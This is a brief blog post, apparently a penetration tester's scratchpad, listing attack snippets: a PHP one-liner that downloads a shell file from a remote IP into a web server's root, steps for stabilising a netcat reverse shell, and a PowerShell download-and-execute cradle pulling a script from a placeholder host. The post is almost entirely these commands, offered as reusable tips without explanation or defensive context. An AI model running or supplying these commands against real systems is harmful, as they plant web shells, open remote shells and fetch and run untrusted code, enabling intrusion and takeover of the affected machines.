Scratchpad – random but interesting

php file transfer

Nice PHP Example to transfer code

<?php file_put_contents("/var/www/html/sedje.php", file_get_contents("http://10.13.37.152/shell.txt"));?>

interactive shell

A method for better interactive shell

On kali: nc -lnvp 9001
On target: init rev conn.
On target: CTRL-Z
On kali: stty raw -echo
On kali: nc -lnvp 9001

Powershell transfer and execute

PowerShell “IEX(New-Object Net.WebClient).downloadString(‘http://HOSTNAME/File')”

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.